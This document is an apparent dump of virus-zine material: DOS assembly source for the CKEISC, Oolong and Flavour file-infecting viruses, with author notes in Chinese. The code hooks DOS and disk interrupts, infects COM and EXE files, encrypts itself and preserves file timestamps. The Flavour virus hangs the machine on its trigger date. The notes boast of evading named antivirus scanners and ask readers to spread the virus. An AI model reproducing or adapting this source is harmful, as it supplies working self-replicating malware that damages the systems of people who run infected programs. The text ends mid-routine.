mov ax,buf_add
mov ds,ax
;
mov ah,3FH
mov dx,OFFSET EXE_BUF+vir_add
mov cx,1
pushf
call DWORD PTR cs:Int21_I+vir_add
cmp byte ptr es:EXE_BUF+vir_add,0a0h ;If Virus file?
jne Dvir
jmp Goodvir
;
Dvir:
push cs ;Copy code
pop ds
mov di,vir_add
mov si,di
mov cx,OFFSET ENDCURE
rep movsb
dec es:Int21_I+vir_add
mov ax,buf_add
mov ds,ax
;
mov bx,cs:EXE_HANDLE+vir_add ;Seek to file head
xor cx,cx ; 档案指标移到档头
xor dx,dx
mov ax,4200H
pushf
call DWORD PTR cs:Int21_I+vir_add
;
mov bx,cs:EXE_HANDLE+vir_add
mov ah,3FH
mov dx,OFFSET EXE_BUF+vir_add
mov cx,020H
pushf
call DWORD PTR cs:Int21_I+vir_add
; ;保存原始 SS,SP,IP,cs
mov ax,WORD PTR es:EXE_BUF[00EH+vir_add]
mov es:KEEP_SS+vir_add,ax
mov ax,WORD PTR es:EXE_BUF[010H+vir_add]
mov es:KEEP_SP+vir_add,ax
mov ax,WORD PTR es:EXE_BUF[014H+vir_add]
mov es:KEEP_IP+vir_add,ax
mov ax,WORD PTR es:EXE_BUF[016H+vir_add]
mov es:KEEP_cs+vir_add,ax
;
xor cx,cx ; 档案指标移到档尾
xor dx,dx
mov ax,4202H
pushf
call DWORD PTR cs:Int21_I+vir_add
;
add ax,0fh
adc dx,00h
and ax,0fff0h
mov es:LEN_H+vir_add,dx
mov es:LEN_L+vir_add,ax
;
mov ax,OFFSET ENDCURE
mov bh,010H
div bh
xor ah,ah
inc ax
push ax
xor dx,dx
mul cs:BASE2+vir_add
mov cs:CURE_LE+vir_add,ax ;计算病毒长度.
add ax,es:LEN_L+vir_add
adc dx,es:LEN_H+vir_add
div es:BASE1+vir_add ;计算( EXE + 病毒) 长度.
or dx,dx
jz TAIL1
inc ax
TAIL1:
mov WORD PTR es:EXE_BUF[04H+vir_add],ax ;写至 EXE_BUF.
mov WORD PTR es:EXE_BUF[02H+vir_add],dx
; ;计算新的 cs.
mov ax,es:LEN_L+vir_add
mov dx,es:LEN_H+vir_add
div es:BASE2+vir_add
sub ax,WORD PTR es:EXE_BUF[08H+vir_add]
mov WORD PTR es:EXE_BUF[016H+vir_add],ax
pop bx
add ax,bx ;计算新的 SS.
mov WORD PTR es:EXE_BUF[00EH+vir_add],ax
mov WORD PTR es:EXE_BUF[014H+vir_add],OFFSET BEGIN
;
mov bx,cs:EXE_HANDLE+vir_add ;档案指标移至档头
mov ax,4200H
xor cx,cx
xor dx,dx
pushf
call DWORD PTR cs:Int21_I+vir_add
;
mov ah,40H
mov dx,OFFSET es:EXE_BUF+vir_add
mov cx,020H
pushf
call DWORD PTR cs:Int21_I+vir_add
;
mov cx,es:LEN_H+vir_add
mov dx,es:LEN_L+vir_add
mov ax,4200H
pushf
call DWORD PTR cs:Int21_I+vir_add
;
add es:Rexor+vir_add,19
add cs:Rexor+vir_add,19
mov cx,OFFSET ENDCURE+vir_add
mov si,OFFSET st_C+vir_add
sub cx,si
mov al,es:Rexor+vir_add
st_LPP:
xor es:[si],al
inc si
loop st_LPP
add al,39
mov cx,OFFSET st_C+vir_add
mov si,OFFSET nd_C+vir_add
sub cx,si
st_LPP1:
xor es:[si],al
inc si
loop st_LPP1
; ;写入病毒.
mov ax,buf_add
mov ds,ax
mov bx,cs:EXE_HANDLE+vir_add
mov cx,cs:CURE_LE+vir_add
dec cx
mov dx,vir_add
mov ah,040H
pushf
call DWORD PTR cs:Int21_I+vir_add
;
mov dx,OFFSET Rexor+vir_add+1
mov cx,1
mov ah,40H
pushf
call DWORD PTR cs:Int21_I+vir_add
;
Goodvir:
;
pop di
pop es
mov ax,es:[di+11h] ; AX=file length
mov dx,es:[di+13h]
mov es:[di+15h],ax ; set access point to file end
mov es:[di+17h],dx ; set access point to file end
;
pop ax ; AX=file attribute
mov es:[di+4],al ; restore file attribute
or word ptr es:[di+5],0100000000000000b
; 关档时不要改变时间和日期
;
mov ah,3EH
pushf
call DWORD PTR cs:Int21_I+vir_add
;
mov bx,cs:Int2a_C+vir_add
mov es,bx
mov bx,cs:Int2a_I+vir_add
mov al,cs:Int2aol+vir_add
mov es:[bx],al
;
Gbye:
pop es
pop ds
popa
;**********************************************************************
Goodbye:
jmp R_here
INT21 ENDP
CURE_B DB 0a0h
EXE_BUF:
ENDCURE:
;以下为置毒器部份, 我就不多说了, 反正不是重点!
init PROC
;
mov ah,62h ;至 PSP:082H 取得
int 21H ;参数路径.
mov ds,bx
mov si,082h
push cs
pop es
mov DI,OFFSET PATH
cld
L1:
CMP BYTE PTR ds:[SI],0dh
je L2
movsb
jmp L1
L2:
xor al,al ;造成ASCIIZ字串
mov es:[DI],al
;
push cs ;开启档案.
pop ds
mov dx,OFFSET PATH
mov ax,3D02H
pushf
call DWORD PTR cs:I21IC
mov cs:EXE_HANDLE,ax
;
mov bx,cs:EXE_HANDLE
xor cx,cx ; 档案指标移到档头
xor dx,dx
mov ax,4200H
pushf
call DWORD PTR cs:I21IC
;
mov bx,cs:EXE_HANDLE ;读取档头 32 个 BYTES.
mov ah,3FH
mov dx,OFFSET cs:EXE_BUF
mov cx,020H
pushf
call DWORD PTR cs:I21IC
; ;保存原始 SS,SP,IP,cs
mov ax,WORD PTR cs:EXE_BUF[00EH]
mov cs:KEEP_SS,ax
mov ax,WORD PTR cs:EXE_BUF[010H]
mov cs:KEEP_SP,ax
mov ax,WORD PTR cs:EXE_BUF[014H]
mov cs:KEEP_IP,ax
mov ax,WORD PTR cs:EXE_BUF[016H]
mov cs:KEEP_cs,ax
;
mov bx,cs:EXE_HANDLE
xor cx,cx ; 档案指标移到档尾
xor dx,dx
mov ax,4202H
pushf
call DWORD PTR cs:I21IC
;
add ax,0fh
adc dx,00h
and ax,0fff0h
mov cs:LEN_H,dx
mov cs:LEN_L,ax
;
mov ax,OFFSET ENDCURE
mov bh,010H
div bh
xor ah,ah
inc ax
push ax
xor dx,dx
mul cs:BASE2
mov cs:CURE_LE,ax ;计算病毒长度.
add ax,cs:LEN_L
adc dx,cs:LEN_H
div cs:BASE1 ;计算( EXE + 病毒) 长度.
or dx,dx
jz TAIL
inc ax
TAIL:
mov WORD PTR cs:EXE_BUF[04H],ax ;写至 EXE_BUF.
mov WORD PTR cs:EXE_BUF[02H],dx
; ;计算新的 cs.
mov ax,cs:LEN_L
mov dx,cs:LEN_H
div cs:BASE2
sub ax,WORD PTR cs:EXE_BUF[08H]
mov WORD PTR cs:EXE_BUF[016H],ax
pop bx
add ax,bx ;计算新的 SS.
inc ax
mov WORD PTR cs:EXE_BUF[00EH],ax
mov WORD PTR cs:EXE_BUF[014H],OFFSET BEGIN
;
mov bx,cs:EXE_HANDLE ;档案指标移至档头
mov ax,4200H
xor cx,cx
xor dx,dx
pushf
call DWORD PTR cs:I21IC
;
mov ah,40H
mov bx,cs:EXE_HANDLE
mov dx,OFFSET cs:EXE_BUF
mov cx,020H
pushf
call DWORD PTR cs:I21IC
;
mov bx,cs:EXE_HANDLE ;移动指标至EXE档之后.
mov cx,cs:LEN_H
mov dx,cs:LEN_L
mov ax,4200H
pushf
call DWORD PTR cs:I21IC
;
mov al,39
mov cx,OFFSET st_C
mov si,OFFSET nd_C
sub cx,si
st_LPP2:
xor cs:[si],al
inc si
loop st_LPP2
; ;写入病毒.
mov bx,cs:EXE_HANDLE
mov cx,cs:CURE_LE
dec cx
dec cx
mov dx,OFFSET start
mov ah,040H
pushf
call DWORD PTR cs:I21IC
;
mov dx,OFFSET Rexor
mov bx,cs:EXE_HANDLE ;修改长度.
mov cx,2
mov ah,40H
pushf
call DWORD PTR cs:I21IC
;
mov bx,cs:EXE_HANDLE
mov ah,3EH
pushf
call DWORD PTR cs:I21IC
;
mov ah,4ch
int 21H
init ENDP
I21IC DW 40f8h
DW 0fdc8h
PATH DB 62 DUP(0)
END init
;=========================================================================
CKEISC v2.1
呵呵... 看样子呀 1.8 版还是没有传出去,这次的原因我就不知道了,也许是
我懒得传吧,也许是我仁慈,反正结果就是没有传出去。现在 2.1 版新增功能
就是防止被 ZLOCK 找到,虽然不是完全,但是通常都可以躲过,至于为什么如
此,那就得去问 ZLOCK 的作者啦,那是他写的程式,我怎么会知道!PVSCAN
1.9J 似乎扫不到,至于新出的 PCCILLIN 5.0 的话应该是会被抓到感染动作啦
,如果没有,那就算了,不能怪我,要怪写 PCCILLIN 的人啦,不过我想他的
人工智慧可能会扫不到倒是真的,因为 PVSCAN 也找不到!
不管那么多啦!反正就别乱拷东东就比较不会有事啦!小心!病毒就在你身边!
愿原版软体的爱用者无毒不侵,无毒不克!请支持原版软体吧!^_^
By Dark Smile 1995/06/28
CKEISC v1.8
呵呵... 看来 1.6 版还是没有传出去,因为在这之中的时间,我去了师大一趟
,所以也就没有时间去传啦!不过,没传出去也就算了,因为我在一个月以后
又找到了一个很大的「 Bug 」,而且又加入了「支援音效卡」的功能,在我生
日的那一天,如果您看到了这一只可爱病毒的发作讯息,别忘了打开您音效卡
的喇叭,聆听一下悦耳的这一首生日快乐歌唷!顺便告诉各位一个好消息,就
是我加入了「TPVO」,我们组织是规定不能写有破坏力的病毒,所以各位可以
放心了,以后我写毒只要是以 TPVO 的名义写的毒,就不会有破坏功能啦!
也许有人会问,我为什么会写病毒,事实上,是为了不想让台湾的「拷贝」风
气如此盛行,有些人误以为防毒程式万能,只要有好的防毒程式,就可以为非
作歹.... 我一直觉得防毒程式似乎没有存在的必要,如果你有「种」乱「拷」
那你也就要有「种」承担中毒的后果!至于做防毒程式的人,如果你们只杀太
过份的病毒就算了,却是什么毒都杀,也许你们要说为了使用者的权利,不过我
想本来防毒程式就不应该拿来卖钱,既然你们要拿来卖钱,也就应跟使用者说
明清楚,毕竟要不要买是他的权利,如果写防毒程式的各位还仍不能想通的话,
不知道那一天起,你们也能看到自己辛辛苦苦写的程式被一些人乱「拷」,到
那个时候,后悔就来不及了!
也希望看到这一篇说明档的「一般」使用者,防毒程式并不是万能的,如果你
不相信,那就让我们 TPVO 证明给你看!如果你自己没有「防毒」的能力,可
千万别再乱「拷」软体啦,否则的话.... 后果自行负责!(PS. 我用 PVSCAN
1.9f 似乎还扫不到这一只毒,在您看到这一个说明档时,代表这一只毒已传出
去,赶快收手别再乱拷了吧!)
最后,把我未传出去的 1.6 版说明档附上,给各位免费参考吧!
By Dark Smile 1995/05/07
CKEISC v1.6
哈!我努力了五天,终于写出了这一只病毒了!本来预计是两天就可以的,不
过这之中遇上了计多麻烦,以及一些技术上的突破,花了我不少的时间在测试
上,本来是应该出 1.5 版的,但是有了一些问题,所以就「胎死腹中」了,经
过我忍痛割爱之后,把一些地方删除也才顺利的做出这一只 1.6 版,不过其中
还有些什么问题我倒也还不知道,希望各位高明可以指点一下,建中的学术网
路也快开放了,如果有什么话要跟我说的话,就请写信到 203.64.26.1 到时候
应会有一个「电研社讨论区」之类的,或许会有「电脑病毒讨论区」也说不定,
到时候我如果有空就会去看一下。
在这一次的撰写中,我发现在 DOS 下的限制颇多,而且常常会不知名地「当机
」实在是... 。不过我总算还是熬过来了!这只是一只测试以及展示我们「建
中电研社」写程式功力的病毒,按常理来说应是不会对您的系统造成任何的伤
害,但是因为我懒得测试了,所以究竟会不会有我也不敢确定,不过我可以确
定的是我的程式码中没有刻意写入会伤害系统的程式码,你如果不相信可以想
办法反组译出来看看,就连发作也只是在画面上印出一些字罢了!
既然没什么伤害,各位传播病毒的大德们,可否帮小弟我代传一下,因为我真
的很希望有多一点人拿到它,才能给我一些意见,如果有什么人找到什么「BUG
」也麻烦告知一下,我会尽量找时间去改版的!在此就先谢过各位啦!^_^
也许有人会问,我有没有解毒剂?不好意思,我连测试都懒得测了,怎么还会
有闲去写这个东东!所以就有劳「黄瑞强」大哥,和「冯文俊」大哥等防毒程
式的作者们啦!不知我叫你们大哥你们会不会介意,我才十六岁嘛!^_^
By Dark Smile 1995/04/07

TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 二 期 TP
oV PV
TO   Oolong virus   Vo
pT OT
VP by Edward Kuo VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

;=========================[ Oolong virus ]==============================
..286
..model small
..code
org 100h
vir_leght=end_start-start
start: call s_1
s_1: mov bp,sp
mov di,ss:[bp]
mov cx,offset s_1
s_2: dec di
loop s_2
add sp,02
push cs
pop ds
mov word ptr ds:[di+offset old_es],es
mov byte ptr cs:cmp_cli,00
push cs
pop es
mov ah,0f9h
int 21h
mov byte ptr ds:[di+offset memory_virus],00h
cmp ax,1234h
jz s_3
mov byte ptr ds:[di+offset memory_virus],01h
s_3: mov ah,62h
int 21h
push bx
pop ds
push ds:[2ch]
pop ds
xor si,si
mov cx,100h
s_4: cmp word ptr ds:[si],0
jz s_5
inc si
loop s_4
s_5: add si,04h
mov cx,100h
s_6: cmp byte ptr ds:[si],'.'
jz s_7
inc si
loop s_6
s_7: inc si
push ds
push cs
pop ds
cmp byte ptr ds:[di+offset memory_virus],01h
pop ds
jz s_9
cmp byte ptr ds:[si],'C'
push cs
pop ds
jnz s_8
lea si,[di+offset old_head_data]
mov cx,03h
mov di,100h
rep movsb
mov bp,sp
mov word ptr ss:[bp-02h],100h
sub sp,02h
ret
s_8: push ds:[di+offset exe_cs]
push ds:[di+offset exe_ip]
retf
s_9: cmp byte ptr ds:[si],'C'
push si
push ds
push cs
pop ds
jnz s_11
lea si,[di+offset start]
mov ah,4ah
mov bx,1000h
int 21h
mov di,100h
s_10: mov cx,vir_leght
rep movsb
mov ax,offset s_12
jmp ax
S_11: mov ax,offset s_12-100h
xchg si,di
xor di,di
mov cx,vir_leght
rep movsb
jmp ax
s_12: call trace
pop ds
pop si
mov cx,100h
s_13: cmp byte ptr ds:[si],0
jz s_14
dec si
loop s_13
s_14: inc si
mov dx,si
mov word ptr cs:option+04h,cs
mov word ptr cs:option+08h,es
mov word ptr cs:option+0ch,es
mov bx,offset option
mov ax,4b00h
pushf
call dword ptr cs:n_int21ip
mov ah,4dh
pushf
call dword ptr cs:n_int21ip
push es
pop ds
mov ah,31h
mov dx,vir_leght
mov cl,4
shr dx,cl
add dx,11h
pushf
call dword ptr cs:n_int21ip
;-----------------------------------
new_int24:
xor al,al
iret
;-------------------------------------
trace proc near
push ds
push es
mov ax,3521h
int 21h
mov word ptr cs:o_int21ip,bx
mov word ptr cs:o_int21ip[2],es
sub al,20h
int 21h
mov word ptr cs:o_int01ip,bx
mov word ptr cs:o_int01ip[2],es
cli
push ds
push 0
pop ds
mov word ptr ds:[04h],offset new_int01
mov word ptr ds:[06h],cs
pop ds
call tf_on
mov ah,52h
cli
pushf
call dword ptr cs:o_int21ip
call tf_off
lds bx,cs:n_int21ip
cmp word ptr cs:n_int21ip[2],0100h
jb t_0
mov bx,[bx+08h]
lds bx,ds:[bx]
t_0: cmp byte ptr ds:[bx],0fah
jnz t_0_1
mov byte ptr cs:cmp_cli,01
t_0_1: push bx
mov cx,05
t_0_2: cmp byte ptr ds:[bx],0eah
jz t_0_4
inc bx
loop t_0_2
pop bx
push bx
mov cx,05
t_0_3: cmp byte ptr ds:[bx],09ah
jz t_0_4
inc bx
loop t_0_3
pop bx
jmp t_1_2
t_0_4: add sp,02h
add bx,05h
cmp byte ptr cs:cmp_cli,01
jz t_1_2
inc bx
t_1_2: mov word ptr cs:n_int21ip,bx
mov word ptr cs:n_int21ip[2],ds
push 0
pop ds
mov ax,word ptr cs:o_int01ip
mov bx,word ptr cs:o_int01ip[2]
mov word ptr ds:[04h],ax
mov word ptr ds:[06h],bx
mov ax,offset new_int21
mov word ptr ds:[84h],ax
mov word ptr ds:[86h],cs
lds bx,ds:[0a8h]
cmp byte ptr ds:[bx],0cfh
jz t_2
mov byte ptr ds:[bx],0cfh
t_2: pop es
pop ds
call trace_int13
ret
endp
;-----------------------------------------
new_int01:
push bp
mov bp,sp
cmp word ptr ss:[bp+04h],0320h
ja exit_01
push ds
push bx
lds bx,ss:[bp+02h]
mov word ptr cs:n_int21ip,bx
mov word ptr cs:n_int21ip[2],ds
and word ptr ss:[bp+06h],0feffh
pop bx
pop ds
exit_01:pop bp
iret
;-------------------------------------
tf_on proc near
pushf
pop ax
or ax,0100h
push ax
popf
ret
endp
;-------------------------------------
tf_off proc near
pushf
pop ax
and ax,0feffh
push ax
popf
ret
endp
;-------------------------------------
trace_int13 proc near
push ds
push es
mov ax,3513h
int 21h
mov word ptr cs:o_int13ip,bx
mov word ptr cs:o_int13ip[2],es
push 0
pop ds
cmp word ptr ds:[4Eh],0320h
jb t_13_1
push ds
mov ax,offset new_int01_13
mov word ptr ds:[04h],ax
mov word ptr ds:[06h],cs
push cs
pop ds
call tf_on
mov ah,00h
pushf
cli
call dword ptr cs:o_int13ip
call tf_off
push 0
pop ds
mov ax,word ptr cs:o_int01ip
mov bx,word ptr cs:o_int01ip[2]
mov word ptr ds:[04h],ax
mov word ptr ds:[06h],bx
lds bx,ds:[4Ch]
mov byte ptr ds:[bx],0eah
mov ax,word ptr cs:n_int13ip
mov cx,word ptr cs:n_int13ip[2]
mov word ptr ds:[bx+01h],ax
mov word ptr ds:[bx+03h],cx
pop ds
cmp word ptr ds:[7b6h],0f000h
jz exit_13
mov ax,offset new_int01_f000
mov word ptr ds:[04h],ax
mov word ptr ds:[06h],cs
call tf_on
mov ah,00h
pushf
cli
call dword ptr cs:o_int13ip
call tf_off
jmp t_13_2
t_13_1: jmp exit_13
t_13_2: mov ax,word ptr cs:o_int01ip
mov cx,word ptr cs:o_int01ip[2]
mov word ptr ds:[04h],ax
mov word ptr ds:[06h],cx
lds bx,ds:[7b4h]
mov byte ptr ds:[bx],0eah
mov ax,word ptr cs:n_int13_f000
mov cx,word ptr cs:n_int13_f000[2]
mov word ptr ds:[bx+01h],ax
mov word ptr ds:[bx+03h],cx
exit_13:pop es
pop ds
ret
endp
;-----------------------------------
new_int01_13:
push bp
mov bp,sp
cmp word ptr ss:[bp+04h],0320h
ja exit_01_13
push ds
push bx
lds bx,ss:[bp+02h]
mov word ptr cs:n_int13ip,bx
mov word ptr cs:n_int13ip[2],ds
and word ptr ss:[bp+06h],0feffh
pop bx
pop ds
exit_01_13:
pop bp
iret
;----------------------------------
new_int01_f000:
push bp
mov bp,sp
cmp word ptr ss:[bp+04h],0f000h
jnz exit_01_13
push ds
push bx
lds bx,ss:[bp+02h]
mov word ptr cs:n_int13_f000,bx
mov word ptr cs:n_int13_f000[2],ds
and word ptr ss:[bp+06h],0feffh
pop bx
pop ds
exit_01_f000:
pop bp
iret
;-----------------------------------------
new_int21:
mov byte ptr cs:cmp_leght_3,00h
cmp ah,0f9h
jnz new_1
mov ax,1234h
iret
new_1: pushf
pusha
cmp ah,4bh
jz new_3
new_2: popa
popf
jmp dword ptr cs:o_int21ip
new_3: push dx
pop si
mov cx,100h
new_4: cmp byte ptr ds:[si],'.'
jz new_5
inc si
loop new_4
new_5: add si,01h
cmp word ptr ds:[si],'OC'
jz new_7
cmp word ptr ds:[si],'XE'
jz new_6
jmp new_2
new_6: mov byte ptr cs:exe_type,01
new_7: push ds
mov ax,offset new_int24
push 0
pop ds
xchg word ptr ds:[90h],ax
mov word ptr cs:o_int24ip,ax
mov ax,cs
xchg word ptr ds:[92h],ax
mov word ptr cs:o_int24ip[2],ax
;mov word ptr ds:[04h],0000h
pop ds
push ds
push dx
mov ax,4300h
pushf
call dword ptr cs:n_int21ip
push cx
xor cx,cx
mov ax,4301h
pushf
call dword ptr cs:n_int21ip
mov ax,3d02h
pushf
call dword ptr cs:n_int21ip
xchg ax,bx
mov ah,45h
pushf
call dword ptr cs:n_int21ip
push ax
pop bx
push cs
pop ds
mov ax,5700h
pushf
call dword ptr cs:n_int21ip
push dx
push cx
mov ax,4202h
xor cx,cx
cwd
pushf
call dword ptr cs:n_int21ip
cmp dx,0
jnz new_7_1
cmp ax,03h
ja new_7_1
mov byte ptr cs:cmp_leght_3,01
new_7_1:mov ax,4200h
xor cx,cx
cwd
pushf
call dword ptr cs:n_int21ip
cmp byte ptr cs:cmp_leght_3,01
jz new_8
cmp byte ptr cs:exe_type,01
jz new_7_2
mov ah,3fh
mov cx,03h
mov dx,offset old_head_data
pushf
call dword ptr cs:n_int21ip
mov si,dx
cmp byte ptr ds:[si],0e9h
jz new_8
mov ax,4202h
xor cx,cx
cwd
pushf
call dword ptr cs:n_int21ip
sub ax,03h
mov word ptr cs:jmp_add,ax
mov ah,40h
mov cx,vir_leght
mov dx,offset start
pushf
call dword ptr cs:n_int21ip
jc new_8
mov ax,4200h
xor cx,cx
cwd
pushf
call dword ptr cs:n_int21ip
mov ah,40h
mov cx,03h
mov dx,offset jmp_code
pushf
call dword ptr cs:n_int21ip
jmp new_8
new_7_2: jmp new_9
new_8: pop cx
pop dx
mov ax,5701h
pushf
call dword ptr cs:n_int21ip
mov ah,3eh
pushf
call dword ptr cs:n_int21ip
pop cx
pop dx
pop ds
mov ax,4301h
pushf
call dword ptr cs:n_int21ip
push ds
mov ax,word ptr cs:o_int24ip
mov bx,word ptr cs:o_int24ip[2]
push 0
pop ds
mov word ptr ds:[90h],ax
mov word ptr ds:[92h],bx
pop ds
jmp new_2
new_9: mov ah,3fh
mov cx,1ch
mov dx,offset exe_head
pushf
call dword ptr cs:n_int21ip
cmp word ptr cs:[exe_head+12h],'KE'
jz new_8
push cs:old_es
pop es
mov ax,es
add ax,10h
add ax,word ptr cs:[exe_head+16h]
mov word ptr cs:exe_cs,ax
mov ax,word ptr cs:exe_head+14h
mov word ptr cs:exe_ip,ax
mov ax,4202h
xor cx,cx
cwd
pushf
call dword ptr cs:n_int21ip
push dx
push ax
jmp new_9_2
new_9_1:jmp new_8
new_9_2:
mov ah,40h
mov cx,vir_leght
mov dx,offset start
pushf
call dword ptr cs:n_int21ip
jc new_9_1
mov ax,4202h
xor cx,cx
cwd
pushf
call dword ptr cs:n_int21ip
mov cx,200h
div cx
cmp dx,0
jz new_10
inc ax
new_10: mov word ptr cs:exe_head+02h,dx
mov word ptr cs:exe_head+04h,ax
pop ax
pop dx
mov cx,10h
div cx
sub ax,word ptr cs:exe_head+08h
mov word ptr cs:exe_head+16h,ax
mov word ptr cs:exe_head+14h,dx
mov word ptr cs:exe_head+12h,'EK'
mov ax,4200h
xor cx,cx
cwd
pushf
call dword ptr cs:n_int21ip
mov ah,40h
mov cx,1ch
mov dx,offset exe_head
pushf
call dword ptr cs:n_int21ip
jmp new_8
;-----------------------------
o_int21ip dd ?
o_int01ip dd ?
o_int24ip dd ?
n_int21ip dd ?
o_int13ip dd ?
n_int13ip dd ?
n_int13_f000 dd ?
cmp_leght_3 db ?
cmp_cli db 0
jmp_code db 0e9h
jmp_add dw ?
exe_type db 0
memory_virus db 0
old_head_data db 0cdh,20h,00h
exe_head db 1ch dup(0)
old_es dw ?
exe_cs dw ?
exe_ip dw ?
option db 00,00,80h,00,00,00,5ch,00,00,00,6ch,00,00,00
mark db 'Oolong V2.0 virus by [E.K] '
;---------------------------------
end_start:
end start
;=========================[ End of virus ]============================

TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 二 期 TP
oV PV
TO   Flavour virus   Vo
pT OT
VP by Dark Killer VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

病毒特徵:
⑴ 长度 848 Bytes,仅感染超过 6144 Bytes 的 COM 档。
⑵ 把 DOS 最后一个 MCB 缩小后再藏进去。
⑶ 于每年之九月九日发作,讯息如下:
"Hello !!
I am [Flavour V1.1] By Dark Killer ...
At Taiwan Power Virus Organization !
1995/07/01/Saturday"
;=============================================================================
; This is source code of [Flavour V1.1] , written by Dark Killer .
; 1995/07/01/Saturday
;=============================================================================
.286c
flavour11 segment
assume cs:flavour11
org 0000h
vir_start:
mov bp,sp ; Anti-Trace and
cli ; Anti-TBClean.
mov sp,0000h
mov sp,bp
sti
ok:
call next ; Get Address.
next:
pop si
sub si,offset next
mov ah,2ah ; 9/9 -> Peter Ferng's
int 21h ; Birthday
cmp dx,0909h
jne con5
mov ah,09h
lea dx,[si+offset msg_e]
int 21h
down_pc: ; Down
cli
jmp short down_pc
con5:
mov ax,8f00h ; Does memory have
int 21h ; me ?
cmp ax,008fh
jne install
run_com:
add si,offset head_read ; Return
mov di,0100h
push ss
push di
cld
movsw
movsw
push ss
pop ds
retf
install:
xor di,di
mov ah,52h
int 21h
mov bx,es:[bx-02h] ; Get the First MCB
loop1:
mov es,bx
add bx,es:[di+03h]
inc bx
cmp byte ptr es:[di],"Z"
jne loop1
mov ax,es
mov es,bx
cmp byte ptr es:[di],"M"
je loop2
mov es,ax
jmp short last_mcb
loop2:
mov es,bx
add bx,word ptr es:[di+03h]
inc bx
cmp byte ptr es:[di],"M"
je loop2
last_mcb:
sub word ptr es:[di+03h],vir_para
mov ax,es:[di+03h]
mov cx,es
add ax,cx
inc ax
mov es,ax
push ax
push offset con1
cld
mov cx,vir_size
rep movsb
retf
con1:
cli
mov ds,cx
mov ax,offset newint21h
xchg word ptr ds:[0084h],ax
mov word ptr cs:oldint21h,ax ; Save Int 21h
mov word ptr cs:outint21h,ax
mov word ptr cs:entint21h,ax
mov ax,cs
xchg word ptr ds:[0086h],ax
mov word ptr cs:oldint21h+0002h,ax
mov word ptr cs:outint21h+0002h,ax
mov word ptr cs:entint21h+0002h,ax
call trace_int21h ; Trace Int 21h
push ss
pop es
push cs
pop ds
xor si,si
jmp run_com
trace_int21h proc near
mov ah,52h ; ES = DOS Data Segment
int 21h
mov al,90h
mov cx,0fffeh
xor di,di
cld
loop4:
repne scasb
jcxz trace_int21h_con1
cmp es:[di],al
jne loop4
cmp word ptr es:[di+01h],0cce8h
jne loop4
mov di,word ptr es:[di+07h]
les di,dword ptr es:[di]
mov word ptr cs:outint21h,di
mov word ptr cs:entint21h,di
mov word ptr cs:outint21h+0002h,es
mov word ptr cs:entint21h+0002h,es
trace_int21h_con1:
mov al,06h
mov cx,0100h
loop5:
repne scasb
jcxz trace_int21h_cant
cmp word ptr es:[di],551eh
jne trace_int21h_cant
cmp word ptr es:[di+02h],5657h
jne trace_int21h_cant
dec di
mov word ptr cs:entint21h,di
mov word ptr cs:entint21h+0002h,es
trace_int21h_cant:
ret
trace_int21h endp
head_read db 0cdh,20h,00h,00h
head_write db 0f0h,0e9h,00h,00h
oldint21h dd 00000000h
outint21h dd 00000000h
entint21h dd 00000000h ; Int 21h Entry-Point
byte_table db 90h
db 0cch
db 0f5h
db 0f8h
db 0f9h
db 0fah
db 0fbh
db 0fch
word_table db 0cdh,12h
db 0e2h,0feh
db 0ebh,00h
db 0b1h,0ffh
msg_e db "Hello !!",0dh,0ah
db " I am [Flavour V1.1] By Dark Killer ...",0dh,0ah
db " At Taiwan Power Virus Organization !",0dh,0ah
db 0dh,0ah
db " 1995/07/01/Saturday",0dh,0ah
db "$"
newint21h proc far
call trace_off
pushf
cmp ax,8f00h ; Check me...
je @8f00
cmp ah,3dh ; If open file
je infect_3d4356 ;
cmp ah,43h ; If load/set file
je infect_3d4356 ; attrib
cmp ah,4bh ; If run file
je infect ;
cmp ah,56h
je infect_3d4356
popf
jmp dword ptr cs:oldint21h
@8f00:
xchg ah,al
popf
iret
infect_3d4356:
pusha
mov si,dx
cld
loop3:
lodsb
or al,al
je infect_3d4356_cannot
cmp al,"."
jne loop3
lodsb
cmp al,"C"
je con2
cmp al,"c"
jne infect_3d4356_cannot
con2:
lodsb
cmp al,"O"
je con3
cmp al,"o"
jne infect_3d4356_cannot
con3:
lodsb
cmp al,"M"
je con4
cmp al,"m"
jne infect_3d4356_cannot
con4:
popa
jmp short infect
infect_3d4356_cannot:
popa
popf
jmp dword ptr cs:oldint21h
infect:
pusha
push ds
push es
cli ; I will over Int 2ah
push 00h ; & Int 24h & Int 94h
pop es
push word ptr es:[0250h]
push word ptr es:[0252h]
mov word ptr es:[0250h],offset newint94h
mov word ptr es:[0252h],cs
push word ptr es:[00a8h]
push word ptr es:[00aah]
mov word ptr es:[00a8h],offset newint2ah
mov word ptr es:[00aah],cs
push word ptr es:[0090h]
push word ptr es:[0092h]
mov word ptr es:[0090h],offset newint24h
mov word ptr es:[0092h],cs
mov ax,3d00h
call callout21h
jc newint21h_exit0
xchg bx,ax
push bx ; Get JFT...
mov ax,1220h
int 2fh
mov ax,1216h ; Get SFT...
xor bh,bh
mov bl,es:[di]
int 2fh
pop bx
mov byte ptr es:[di+02h],02h ; Change file mode
mov al,byte ptr es:[di+04h]
mov byte ptr es:[di+04h],00h ; Save file attrib
push ax
or byte ptr es:[di+06h],40h ; Don't change date and
; time of file
push cs
pop ds
mov ah,3fh ; Load File Head...
mov cx,0004h
mov dx,offset head_read
call callout21h
cmp word ptr head_read,0e9f0h ; Infected...
je newint21h_exit1
cmp word ptr head_read,"ZM" ; .EXE
je newint21h_exit1
mov al,02h
call seek
or dx,dx
jne newint21h_exit1
cmp ax,1800h
jbe newint21h_exit1
sub ax,0004h
mov word ptr head_write+0002h,ax
mov ah,40h
mov cx,vir_size
cwd
call callint21h
xor al,al
call seek
mov ah,40h
mov cl,04h
mov dx,offset head_write
call callint21h
newint21h_exit1:
pop ax
mov es:[di+04h],al
mov ah,3eh ; Close File
call callout21h
newint21h_exit0:
push 00h
pop es
cli
pop word ptr es:[0092h] ; Change Int 24h
pop word ptr es:[0090h]
pop word ptr es:[00aah] ; Change Int 2ah
